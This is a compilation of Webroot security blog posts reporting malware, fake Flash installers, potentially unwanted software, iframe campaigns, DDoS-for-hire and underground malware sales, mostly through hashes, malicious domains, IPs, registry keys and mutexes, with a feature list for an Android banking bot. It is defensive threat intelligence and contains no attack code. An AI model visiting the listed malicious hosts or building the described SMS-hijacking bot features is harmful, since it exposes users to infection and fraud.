MD5: 3b141482d57aa716c8686b388fcbc8f3 – detected by 5 out of 47 antivirus scanners as Exploit:Win32/Pdfjsc.AKB
MD5: 4d52aa24c91b2f9b757ab81118f56447 – detected by 5 out of 47 antivirus scanners as Exploit.Win32.CVE-2011-3402.a
MD5: cee8493b53394a2b58228b829f2af25e – detected by 5 out of 47 antivirus scanners as Exploit:Win32/Pdfjsc.AKB
MD5: 1b61c150176f0ab076f8befb46cfc3ce – detected by 4 out of 47 antivirus scanners as Exploit:SWF/Salama.F

Responding to (66.199.250.147) are also the following malicious domain, part of the campaing's infrastructure:
hxxp://www1.2fmjnfw8yl.4pu.com
hxxp://www1.b245489okr8x5j2ao.4pu.com
hxxp://www1.c5laimisz83pc4.4pu.com
hxxp://www1.cg86g6670v8866.4pu.com
hxxp://www1.d23v9rkj.4pu.com
hxxp://www1.e0ypzxcl2g.4pu.com
hxxp://www1.e0zz7py279t37.4pu.com
hxxp://www1.e3upj5djor1ff8.4pu.com
hxxp://www1.eoyuwo33xk08zk6a6.4pu.com
hxxp://www1.g3qovry5o502d1g8.4pu.com

hxxp://www1.h3x48xalmvan55.4pu.com
hxxp://www1.j-9x9quv8lrdqicyf4.4pu.com
hxxp://www1.j9jw1i0or74893.4pu.com
hxxp://www1.js9fow2qc23vir9m-2.4pu.com
hxxp://www1.k3s7v5h96w4m9rm17.4pu.com
hxxp://www1.k5t56to8.4pu.com
hxxp://www1.kjrca9kozgygi2.4pu.com
hxxp://www1.lr615xyv4ne4ev2s2.4pu.com
hxxp://www1.m-t439plolgh9rg3x8.4pu.com
hxxp://www1.mwqfes56.4pu.com

Responding to (109.201.135.20) are also the following malicious domain, part of the campaing's infrastructure:
10qaswedrfgthsfh47.4pu.com
2fmjnfw8yl.4pu.com
4gpf37.4pu.com
24r23rfe23.4pu.com
54y5h56yh.4pu.com
6qaswedrfgthsfh46.4pu.com
789568gh48fjh34.4pu.com
8m5w180sfs.4pu.com
98ol8loldd.4pu.com
a-1lj8fexbrqilv.lflink.com
a199ozb9gpvairco9.4pu.com
a6fe5t76kp7xzc5t.lflink.com
a8eb8spt8sp02.lflink.com
aaagxmid11pp-7.4pu.com
ae8w0olox4.4pu.com
ao83szty36u9x-9.lflink.com
auh40nk2.4pu.com
b-8720elxb.4pu.com
b-8qkw4qs.lflink.com
b-9s7rtwq9j.4pu.com

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Web site of Brazilian 'Prefeitura Municipal de Jaqueira' compromised, leads to fake Adobe Flash player - Webroot Blog

facebook linkedin twitter

Our sensors just picked up an interesting Web site infection that's primarily targeting Brazilian users. It appears that the Web site of the Brazilian Jaqueira prefecture has been compromised, and is exposing users to a localized (to Portuguese) Web page enticing them into installing a malicious version of Adobe's Flash player. Not surprisingly, we've also managed to identify approximately 63 more Brazilian Web sites that are victims to the same infection.

Sample screenshot of the landing page serving the localized Adobe Flash Player:

Sample screenshot of the embedded redirector at a sample compromised Web site:

Sample affected Web site: jaqueira.pe.gov.br

Landing malicious URL: 79.96.179.237/br/flashplayer

Detection rates for the served malware: **MD5: cdb0ae783f66d37883f0431c6dd18954** – detected by 18 out of 47 antivirus scanners as TrojanSpy:Win32/Banker.AJP
MD5: 7dad87060db280e866b75970757dd462 – detected by 29 out of 48 antivirus scanners as Trojan-Downloader.VBS.Agent.agm

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Popular French torrent portal tricks users into installing the BubbleDock/Downware/DownloadWare PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

A typical campaign attempting to trick users into installing **Potentially Unwanted Software (PUA)** , would usually consist of a single social engineering vector, which on the majority of cases would represent something in the lines of a catchy “Play Now/Missing Video Plugin” type of advertisement. Not the one we’ll discuss in this blog post. Relying on deceptive “visual social engineering” practices, a popular French torrent portal is knowingly — the actual directory structure explicitly says **/fakeplayer** — enticing users into installing the BubbleDock/Downware/DownloadWare PUA. What kind of social engineering tactics is the portal relying on? Let’s find out.

Sample screenshot of the fake and localized to French “Missing Plugin” presented on the top of the page:

As you can see in the attached screenshot, the portal attempts to convince the user that he/she is missing a plugin required to display the content. Once users attempt to download it by clicking on the link, they’re automatically exposed to the executable hosted within One Install’s affiliate based type of revenue sharing platform.

Sample screenshots of the fake WebPlugin video window:

The second “visual social engineering” vector relies on the ubiquitous for such type of social engineering campaigns, “Install the WebPlayer plugin” type of fake flash content.

PUA located at: *download.oneinstaller.com/installer/?iid=270&nsoft=14* (affiliate network participant at the One Install network)

Detection rate for the PUA: MD5: 14de165a402ea6e13282c1195c24290f – detected by 8 out of 47 antivirus scanners as NSIS:Adware-KQ [PUP]; Adware.Downware.1265; Win32/AdWare.DownloadWare.I; BubbleDock (fs)

Once executed, the sample phones back to the following domains, where it not just obtains the legitimate Adobe Flash Player, but also, drops additional PUAs on the hosts of socially engineered users: stats.oinst.com – 93.189.35.66
cdninst.com – 109.70.132.26
app.updatesafe.net – 46.232.206.17
ads.oneinstaller.com – 93.189.35.51
media.oneinstaller.com – 109.70.132.26
d.delivery49.com – 166.78.35.128
install.xaven.info – 70.186.131.70
wpc.0952.edgecastcdn.net – 68.232.34.163
hxxp://www.808116.com – 50.97.129.8
ajax.googleapis.com – 74.125.136.95
cdn.delivery49.com – 77.67.4.16
counter.d.delivery49.com – 54.243.81.17
media.vitjvitj.com – 93.189.32.145
hxxp://www.uplstatsone.com – 93.189.33.84
hxxp://www.282208.com – 174.36.200.167
stats.srvmystats.com – 176.32.99.220
csc3-2010-crl.verisign.com – 23.36.149.163
get.adobe.com – 192.150.16.58
www.googletagservices.com – 74.125.136.156
partner.googleadservices.com – 74.125.136.156
pubads.g.doubleclick.net – 74.125.136.154
pagead2.googlesyndication.com – 74.125.136.154
crl.verisign.com – 23.36.149.163
www.adobetag.com – 23.66.241.169
dlmping2.adobe.com – 88.221.216.105
stats.adobe.com – 66.117.29.34

Sample screenshots of the installation:

It also downloads and installs the following related Potentially Unwanted Applications (PUAs):

cdninst.com/offers/Mobogenie/Mobogenie.exe – **MD5: a99dac9961a6ea4b50009e6485badb19** – detected by 1 out of 46 antivirus scanners as Trojan.Win32.Generic!SB.0

cdninst.com/offers/V9/Qone8.exe – **MD5: f06c4455c740b192fd37cee9501327f2** – detected by 19 out of 47 antivirus scanners as Trojan.Win32.StartPage.choy; Elex Installer (fs)

cdninst.com/offers/SoftwareUpdater/SoftwareUpdater.exe – **MD5: 80c3202212cef845931452fede347ee1** – detected by 22 out of 46 antivirus scanners as Trojan-Downloader.Win32.Genome.ffcs; PUP.Optional.Onekit.A

cdninst.com/offers/QuickShare/QuickShare.exe – **MD5: e6f281b58cf026716a66098189595bc4** – detected by 4 out of 46 antivirus scanners as Adware.Win32.Linkury.83; PUP.Optional.QuickShare.A

cdninst.com/offers/Okitspace/Okitspace.exe – **MD5: 2c908d624618f70304574f56c6dd73e6** 23 out of 47 antivirus scanners as Trojan.Win32.MSIL.BrowserProtectIU.A

cdninst.com/offers/Diamonddata/Xaven.exe – **MD5: fedad72d67c0c4cf7dcf1401a1421bf3** – detected by 5 out of 47 antivirus scanners as Win32/BrowseFox.C

app.updatesafe.net/u/v122/TubeSing_1060-2015_v122.exe – **MD5: c074d4c0bde7e63d5f2330d7b0c4fd36** – detected by 3 out of 47 antivirus scanners as Trojan.Crossrider.10; PUP.Optional.Tubesing

Webroot SecureAnywhere users are proactively protected from these PUAs.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Low Quality Assurance (QA) iframe campaign linked to May's Indian government Web site compromise spotted in the wild - Webroot Blog

facebook linkedin twitter

We've intercepted a currently trending malicious iframe campaign, affecting hundreds of legitimate Web sites, that's interestingly part of the very same infrastructure from **May, 2013's analysis of the compromise of an Indian government Web site** . The good news? Not only have we got you proactively covered, but also, the iframe domain is currently redirecting to a client-side exploit serving URL that's offline. Let's provide some actionable intelligence on the malicious activity that is known to have originated from the same iframe campaign in the past month, indicating that the cybercriminal(s) behind it are actively multi-tasking on multiple fronts.

iframe URL: karenbrowntx.com – 98.124.198.1

Client-side exploits serving redirector: hxxp://ww2.taylorgram.com/main.php?page=3081100e9fdaf127 – known to have responded to 31.171.133.163 and most recently to 184.168.221.20

The same URL is also known to have been dropping malicious software on the hosts of affected PCs on 2012-06-12, in particular **MD5: 923324a0282dd92c383f8043cec96d2d**

Known to have responded to the same IP (98.124.198.1) are also the following malicious domains: 00ridgeroad.com
0703fdsf.info
09woman.com
100chaparralbv.com
100chaparralbvmartensville.com
10269ruefrederick-olmsted.com
1066sunrisedrive.com
1069colquittavenue.com

110010thavregina.com
1127alexandria.com
1143gladstone.com
114rmerganser.com
1176andrade.com
1180englishtownrd.com
11910route28.com
120-waterstone.com
120riverbank.com
121stationstreet.com
1266mainst.com
1397goyeau4sale.com

We’re also aware of the following malicious MD5s that have used the same IP as C&C server during October, 2013: MD5: b26c30b512471590cfd2481bceea1b86
MD5: 6e4d7c9e1d935b18340064cabe60ee59
MD5: d0a76dd2bb62c54791a90453884aaeb4
MD5: 5c4b38b7e7bba69eafca7508dea8a940
MD5: 5b057c5838794fe7314ead6cb8ab7a08
MD5: b17279f38e0c2ab76ed6ef929385bd6b
MD5: d5bd9375e2693f5d6f48653c5d98960c
MD5: d181371ce3456363c0ae9628e0366569
MD5: 1e5eca486655233da67081d495e599d2
MD5: dfe79429195841e8819e845535220ac7
MD5: ad48514853d7a07f61b21a7729f2256d

Known to have responded to the same IP (184.168.221.20) are also the following malicious domains: 100crowns.net
12inchskinz.com
17tidalshore.com
1800truckad.com
1pel.com
2000golfcart.com
2013snipefd.com
2174saturn.com
24498pescadero.com
2951central306.info
2getloan.net

30minutesaweek.us
365ing.com
3psillc.com
400kmmm.com
40hourmonth.com
4159alameda.info
4kpublisher.com
4kx2k.org
6005nkimball402.info

We're also aware of the following malicious MD5s that have phoned back to the same IP: MD5: 1776790a93de6cdb273c4d43e751ea60
MD5: f7a6f099db2e38ddfefd33700e413477
MD5: f4a56cc617de5a502c89ad616d90239c
MD5: f0ea6bacdc21c909ae253dc028ac3b81
MD5: ef35106c249da0b44b11e514b7279c0a
MD5: e8dad0602a29670397c4d12ee14c11d0
MD5: e6cfa22910624ed26e1269a88cfa21ea
MD5: e6b79746a444b1ad3d6c006f812c756e
MD5: e4fbe5f7471acdba51f8e78c66e62f06
MD5: e2995b8ce1ec3ac62c72dd5a6a76e992
MD5: dc292733ea7a3e22edd86091a1f25a90
MD5: d3b802d899fe7a6be78f90e1526590a4
MD5: d3c02d615e3996def378956b24363e51
MD5: d2f98464214fca25e0e2892192642171
MD5: d282ef4d97993dae7c131fe654ca5466

Webroot SecureAnywhere users are proactively protected from this threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Source code for proprietary spam bot offered for sale, acts as force multiplier for cybercrime-friendly activity - Webroot Blog

facebook linkedin twitter

In a professional cybercrime ecosystem, largely resembling that of a legitimate economy, market participants constantly strive to optimize their campaigns, achieve stolen assets liquidity, and most importantly, aim to reach a degree of efficiency that would help them gain market share. Thus, help them secure multiple revenue streams. Despite the increased transparency on the Russian/Easter European underground market — largely thanks to improved social networking courtesy of the reputation-aware cybercriminals wanting to establish themselves as serious vendors — certain newly joining vendors continue being a victim of their market-irrelevant 'biased exclusiveness' in terms of the unique value propositon (UVP) presented to the community members. Moreover, in combination with the over-supply of **DIY malware/botnet generating tools** , next to the release of leaked/cracked source code, positions them in a situation where they can no longer command the high prices for their products/service, like they once did. That's mainly because the competition is so fierce, that it inevitably results in the commodinitization of these underground market items.

What happens when this **commoditization** takes place? What are cybercriminals doing with the leaked/cracked source code for sophisticated malware/botnet generating tools? Why would a cybercriminal purposely offer the source code of his malware 'release' for sale, especially given that he can continue enjoying its proprietary nature, meaning, a supposedly lower detection rate? Let's discuss these scenarios through the prism of a recently offered source code of a proprietary spam bot written in Delphi. The bot relies primarily on compromised/automatically registered email accounts as the primary propagation vector for upcoming (malicious) spam campaigns.

Sample screenshots of the administration panel of the spam bot, relying on compromised Web shells as C&Cs:

According to the seller of this spam bot, the actual binary is around 56kb in size, and the C&C is PHP/MySQL based. The seller also offers his personal advice, which is to consider relying on **compromised Web shells** for accessing the command and control infrastructure. The price? $300. A logical question emerges – why would a cybercriminal who's apparently already making money from his custom coded spam bot, be selling its source code, rather than continuing to operate beneath the radar? Three possibilities – noise generation, exit strategy, or underground multitasking in action since the seller didn't mention that he's selling one copy of the source code, exclusively, to the first potential buyer. Noise generation can be best described as a strategy used by cybercriminals to draw attention away from an initial malicious 'release'. The idea is to avoid the attention of the security industry/law enforcement, who'd now have to pay attention to copycats that would emerge through tweaking and modifying the original source code. Although not necessarily feasible in a greed dominated cybercrime ecosystem, an exit strategy may result in the seller offering unlimited access to the source code to multiple parties, in an attempt to exit the market segment, while still securing a revenue stream for himself. The multitasking scenario is a variation of the noise generation strategy, where the seller of the source code will continue improving and using it, in between selling access to others so that they can do the same.

Consider going through the following research/posts on the topic of source code and malicious software:

New ZeuS source code based rootkit available for purchase on the underground market Self-propagating ZeuS-based source code/binaries offered for sale Managed 'Russian ransomware' as a service spotted in the wild SMS Ransomware Source Code Now Offered for Sale 6th SMS Ransomware Variant Offered for Sale 5th SMS Ransomware Variant Offered for Sale 4th SMS Ransomware Variant Offered for Sale 3rd SMS Ransomware Variant Offered for Sale

The bottom line? We expect that the Russian/Eastern European underground marketplace would continue to dynamically evolve in terms of Quality Assurance, localization, cybercrime-as-a-service type of managed propositions, and overall, stick the well proven efficiency-oriented mentality that's driving everyone's business models.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New vendor of 'professional DDoS for hire service' spotted in the wild - Webroot Blog

facebook linkedin twitter

In **a series** of **blog posts** , we've highlighted the emergence of easy to use, publicly obtainable, cracked or leaked, **DIY** (Do It Yourself) DDoS (**Distributed Denial of Service**) attack tools. These services empower novice cybercriminals with easy to use tools, enabling them to monetize in the form of 'vendor' type propositions for DDoS for hire services. Not surprisingly, we continue to observe the growth of this emerging (international) market segment, with its participants continuing to professionalize, while pitching their services to virtually anyone who's willing to pay for them. However, among the most common differences between the international underground marketplace and, for instance, the Russian/Easter European one, remain the OPSEC (Operational Security) applied — if any — by the market participants knowingly or unknowingly realizing its potential as key differentiation factor for their own market propositions.

Case in point, yet another newly launched DDoS for hire service, that despite the fact that it's pitching itself as anonymity and privacy aware, is failing to differentiate its unique value proposition (UVP) in terms of OPSEC.

Sample screenshot of the landing page:

Let's discuss the (business) interaction that most commonly takes place between a buyer and seller of such type of services. On the majority of occasions, thanks to the fact that the vendor seeks to efficiently supply what the market demands, basic OPSEC rules, ones sometimes visible in Russian/Eastern European providers, are ignored. For instance, the service we're discussing in this post not only has its site publicly searchable, it also features a YouTube advertisement. Combined with the fact that it's also soliciting customer inquiries through a GMail account — no public PGP key offered — results in a situation where a potential customer would think twice before contacting the vendor. Moreover, these (international) underground market propositions usually tend to acquire less technically sophisticated customers who'd often seek their assistance in taking down a gaming server, or not surprisingly, launch a Denial of Service attack against a "friend's" Internet connection. In comparison, the Russian/Eastern European vendors would usually prefer to stay beneath the radar, and will vet potential customers based on multiple factors — that includes the actual target — before launching an attack on their behalf.

Not surprisingly, we're also aware of several malicious MD5s that are known to have been downloaded from the same IP that's known to have once responded to the service's domain:

MD5: a7298ee33c26c21f4f179e4c949c817e
MD5: a315bbe9a50271832112cc3172a9ecbc
MD5: 571950ec60be81e033f8b516c7230dfe

We expect to continue observing an increase in such types of 'DDoS for hire' propositions, largely thanks to the ease of obtaining the necessary tools required to convert a botnet into a vendor-oriented type of underground market service, and will continue to monitor this market segment.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals differentiate their 'access to compromised PCs' service proposition, emphasize on the prevalence of 'female bot slaves' - Webroot Blog

facebook linkedin twitter

From **Bitcoin accepting** services offering access to compromised malware infected hosts and **vertical integration** to occupy a **larger market share** , to services charging based on **malware executions** , we've seen multiple attempts by novice cybercriminals to introduce unique value propositions (UVP). These are centered on differentiating their offering in an over-supplied cybercrime-friendly market segment. And that's just for starters. A newly launched service is offering access to malware infecting hosts, **DDoS** for hire/on demand, as well as **crypting** **malware** before the campaign is launched. All in an effort to differentiate its unique value proposition not only by vertically integrating, but also emphasizing on the prevalence of 'female bot slaves' with webcams.

Sample screenshot of the cybercriminal's underground market proposition showcasing some of the "inventory":

Here's a breakdown of the prices. A 100 bots that will also get resold to the next prospective buyer are offered for $5. A rather surprising monetization approach, given that once a cybercriminal gets access to a host, the first thing he'd usually do, is to remove competing malware from it. The novice cybercriminal is also offering 100 bots that will not be resold to anyone but the original buyer for $7. Moreover, 300 bots converted directly to malware infected hosts through an exploit kit are offered for $35, followed by the option offered as a separate service, namely, to obfuscate the actual malware for $3 per sample using a public crypter, and $5 using a private one. The boutique cybercrime-friendly shop is also offering DDoS for hire/on demand service, with the prices starting from $2 for one hour of DDoS attack. What we've got here is a very good example of UVP-aware novice cybercriminal, that's basically having hard time trying to pitch commoditized underground market assets.

The novice cybercriminal's attempt to monetize his fraudulently obtained underground market assets are worth discussing in the broader context of today's mature cybercrime ecosystem. In particular, the emergence of propositions pitched by novice cybercriminals, who'd monetize virtually anything that can be monetized, including commoditzed goods and services, at least in the eyes of sophisticated attackers. This ongoing lowering of the entry barriers into the world of cybercrime, inevitably results in in the acquisition of capabilities and know-how which was once reserved exclusively to sophisticated attackers.

We expect to continue observing an increase of (international) underground marketplace proposition pitched by novice cybercriminals, to fellow novice cybercriminals, largely thanks to the general availability of leaked/cracked/public malware/botnet generating tools and kits.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Google-dorks based mass Web site hacking/SQL injecting tool helps facilitate malicious online activity - Webroot Blog

facebook linkedin twitter

Among the most common misconceptions regarding the **exploitation (hacking) of Web sites** , is that no one would exclusively target *your* Web site, given that the there are so many high profile Web sites to hack into. In reality though, thanks to the **public/commercial availability of tools relying on the exploitation of remote Web application vulnerabilities** , the **insecurely configured Web sites/forums/blogs** , as well as the millions of malware-infected hosts internationally, virtually every Web site that's online automatically becomes a potential target. They also act as a driving force the ongoing data mining to accounting data to be later on added to some of the **market leading malicious iFrame embedding platforms** .

Let's take a look at a **DIY (do it yourself)** type of mass Web site hacking tool, to showcase just how easy it is to efficiently compromise tens of thousands of Web sites that have been indexed by the World's most popular search engine.

Sample screenshots of the DIY mass Web site hacking/SQL injecting tool based on the Google Dorks concept:

The proxy (**compromised malware infected hosts**) supporting tool has been purposely designed to allow automatic mass Web sites reconnaissance for the purpose of launching SQL injection attacks against those Web sites that are vulnerable to this common flaw. Once a compromise takes place, the attacker is in a perfect position to inject malicious scripts on the affected sites, potentially exposing their users to malicious client-side exploits serving attacks. Moreover, as we've seen, the same approach can be used in a combination with privilege escalation tactics that could eventually "convert" the compromised host as part of an anonymous, cybercrime-friendly proxy network, as well act as a hosting provider for related malicious of fraudulent content like malware or phishing pages. With the list of opportunities a cybercriminal could capitalize on being proportional with their degree of maliciousness or plain simple greed, Web site owners are advised to periodically monitor their site's reputation by taking advantage of managed Web application vulnerabilities scanning services, or through **Google's SafeBrowsing** .

We expect to continue observing such DIY efficiency-oriented underground market releases, with the logical transformation of DIY type of products, to actual managed services launched primarily by novice cybercriminals, either enjoying a lack of market transparency through biased exclusiveness of their proposition, or through propositions aimed at novice cybercriminals who wouldn't have access to such tools.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Deceptive ads lead to the SpyAlertApp PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

Whenever a user gets socially engineered, they unknowingly undermine the confidentiality and integrity of their system, as well as any proactive protection they have in place, in exchange for quick gratification or whatever it is they are seeking. This is exactly how unethical companies entice unsuspecting victims to download their new "unheard of" applications. They promise users the moon, and only ask in return that users install a basic free application. Case in point, our sensors picked up yet another deceptive ad campaign that entices users into installing privacy violating applications, most commonly known as PUAs or **Potentially Unwanted Applications** .

Sample screenshots of the landing page:

Landing URL: *spyalertapp.com*

Detection rate for the SpyAlertApp PUA: MD5: 183cf05e8846a18dab9850ce696c3bf3 – detected by 4 out of 47 antivirus scanners as Win32/ExFriendAlert.B; SearchDonkey (fs)

Once executed, it phones back to 66.135.34.182 and 66.135.34.181

The following PUA domains are also known to have responded to the same IPs: l.cloud-canvas.com
l.getsecureweb.com
l.hitthelightsapp.com
l.infoseekerapp.com
l.moviemodeapp.com
l.provideodownloader.com
l.recordcheckerapp.com
l.searchdonkeyapp.com
l.spyalertapp.com
l.spyguardapp.com

l.spylookoutapp.com
l.tubedimmerapp.com
l.unfriendapp.com
l.webshieldonline.com

The following PUA MD5s are known to have phoned back to these IPs: MD5: 5a4202e570997e6740169baac0d231cb
MD5: d461ced9efbba91fc9f672b4283ec9ce
MD5: 739974dc2cba93e265b8a4e3015f389d
MD5: a2abbbafbc74c0ee26b2d7cc57050033
MD5: 0c4b84ef70ea55fbadcd20c85e5df888
MD5: 1821d0ff30a9840db1a1be3133cee77f
MD5: 71a8639f45706cc034c37e39443774da
MD5: 9f08e58f38744753921090ee28eb3277
MD5: 8e2a368e139e81ae779e39304d03fb79
MD5: 2a65db19303587722aad675485f33ab4
MD5: 5a7751c7fb62bed7fafebbae36b29d8f
MD5: b1598ddaa466ae8c5ed7727fe8bf9bba
MD5: b960fcc346da8a64d969932fe993ed76
MD5: 32c0863bcb2543a55436ecd5bc1df462
MD5: 0f358896ee2bf4507a07ff971b7bc749
MD5: 82aad768bf3609f700947c689f024d9a
MD5: 2f1101cc2c834b4e404389fb14b43fd2
MD5: 0e76ffda3480511dbc9dda95b18d1c1b
MD5: ed6d97129f713a174d60eb10d5db0992
MD5: 126cf0cfe5f1da0106dfff9ce9cb7041
MD5: 84d31aaf279c57a0d2886639d7468ec5
MD5: 6b4e76e4655592d06828e0a932f260d5
MD5: e86c7ae3bae035e9cdd2a71db1c0fbea

Want to known who's tracking your online activities? We advise you to give **Mozilla's Lightbeam** , a try.

Webroot SecureAnywhere users are proactively protected from these PUAs.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake WhatsApp 'Voice Message Notification' Emails Lead To Malware | Webroot

facebook linkedin twitter

WhatsApp users, watch out! The cybercriminal(s) behind the most recently profiled campaigns impersonating **T-Mobile** , and **Sky** , have just launched yet another malicious spam campaign, this time targeting WhatsApp users with fake “Voice Message Notification/1 New Voicemail” themed emails. Once unsuspecting users execute the fake voice mail attachment, their PCs will attempt to drop additional malware on the hosts. The good news? We’ve got you (proactively) covered.

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment: **MD5: 0458a01e42544eacf00e6f2b39b788e0** – detected by 31 out of 48 antivirus scanners as Trojan.Win32.Sharik.qhd

Once executed, the sample creates the following Registry Keys on the affected hosts:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sewwe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sewwe\ShellNew
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\DefaultIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell\open
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell\open\command
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell\print
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell\print\command
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell\printto

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\S6.Document\shell\printto\command
HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications
HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications\S6
HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications\S6\Settings

It then attempts to download additional malware from the well known C&C server at **networksecurityx.hopto.org**

Webroot SecureAnywhere users are proactively protected from this threat.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals release new commercially available Android/BlackBerry supporting mobile malware bot - Webroot Blog

facebook linkedin twitter

Thanks to the growing adoption of **mobile banking** , in combination with the **utilization of mobile devices to conduct financial transactions** , opportunistic cybercriminals are quickly capitalizing on this emerging market segment. Made evident by the release of Android/BlackBerry compatible **mobile malware bots.** This site is empowering potential cybercriminals with the necessary 'know-how' when it comes to 'cashing out' compromised accounts of E-banking victims who have opted-in to receive SMS notifications/phone verification, whenever a particular set of financial events take place on their bank accounts.

A new commercially available **Android** , BlackBerry (work in progress) — supporting mobile malware bot is being pitched by its vendor, with a specific emphasis on its potential to undermine modern E-banking security processes, like for instance, SMS alerts. Let's discuss some of its core features and emphasize on an emerging trend within the cybercrime ecosystem, namely the 'infiltration' of Google Play as a service.

Sample screenshots from the mobile malware bot's manual+the actual administration panel:

a

Priced at $4,000, the bot's features can be used to **undermine two factor authentication** /SMS alerts protection features offered by a financial institution, as well as result in a direct privacy violations once the integrity and confidentiality of the mobile device has been compromised.

Some of the bot's core features include:

hijack incoming SMS messages and silently forwarding them to any given number in real-time

hijacking of any incoming calls and silently forwarding them to any given number in real-time
complete access to the SMS messages on the affected device
complete access to the Call History of an affected device
complete access to the Contacts found on an affected device
audio recording using the device's microphone, the uploading the file to a server
sending an SMS on behalf of the infected device's owner
call any number of behalf of the infected device's owner
control the infected mobile device through an Internet connection, or through SMS messages in cases where no Internet connection is available
get the phone number, as well as the ICCID, IMEI, IMSI, Model and OS of the infected device

Based on requests from potential customers, the interface can be localized to their "favorite language". What's also worth emphasizing on regarding this particular commercially available mobile malware bot, is that, the vendor is also offering the option to have your malware variant directly made available to the millions of Google Play users. How does this take place to begin with? In a pretty simple way, taking into consideration the fact that cybercriminals continue to actively data mine their botnet's 'infected population' in an attempt to monetize the outcome of their campaigns. Through the acquisition of compromised Google Play accounts, cybercriminals are perfectly positioned to abuse this access to a legitimate/verified developer's account, for fraudulent and malicious purposes.

We'll continue monitoring the development of this mobile malware bot, and post updates as soon as its vendor introduces any features that could continue adapting to current/emerging anti mobile banking fraud processes.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'Important: Company Reports' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

A currently ongoing malicious spam campaign is attempting to trick users into thinking that they've received a legitimate Excel 'Company Reports' themed file. In reality through, once socially engineered users execute the malicious attachment on their PCs, it automatically opens a backdoor allowing the cybercriminals behind the campaign to gain complete access to their host, potentially abusing it a variety of fraudulent ways.

Sample screenshots of the spamvertised email:

Detection rate for the spamvertised attachment: MD5: 5138b3b410a1da4cbc3fcc2d9c223584 – detected by 23 out of 48 antivirus scanners as Trojan.Win32.Agent.aclil; TSPY_ZBOT.EH

Once executed, the sample starts listening on ports 3188 and 4964.

It then creates the following Mutexes: Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global\{B4E44AB6-7AD7-4F09-11EB-B06D3016937F}
Global\{B4E44AB6-7AD7-4F09-75EA-B06D5417937F}
Global\{B4E44AB6-7AD7-4F09-4DE9-B06D6C14937F}

Global\{B4E44AB6-7AD7-4F09-65E9-B06D4414937F}
Global\{B4E44AB6-7AD7-4F09-89E9-B06DA814937F}
Global\{B4E44AB6-7AD7-4F09-BDE9-B06D9C14937F}
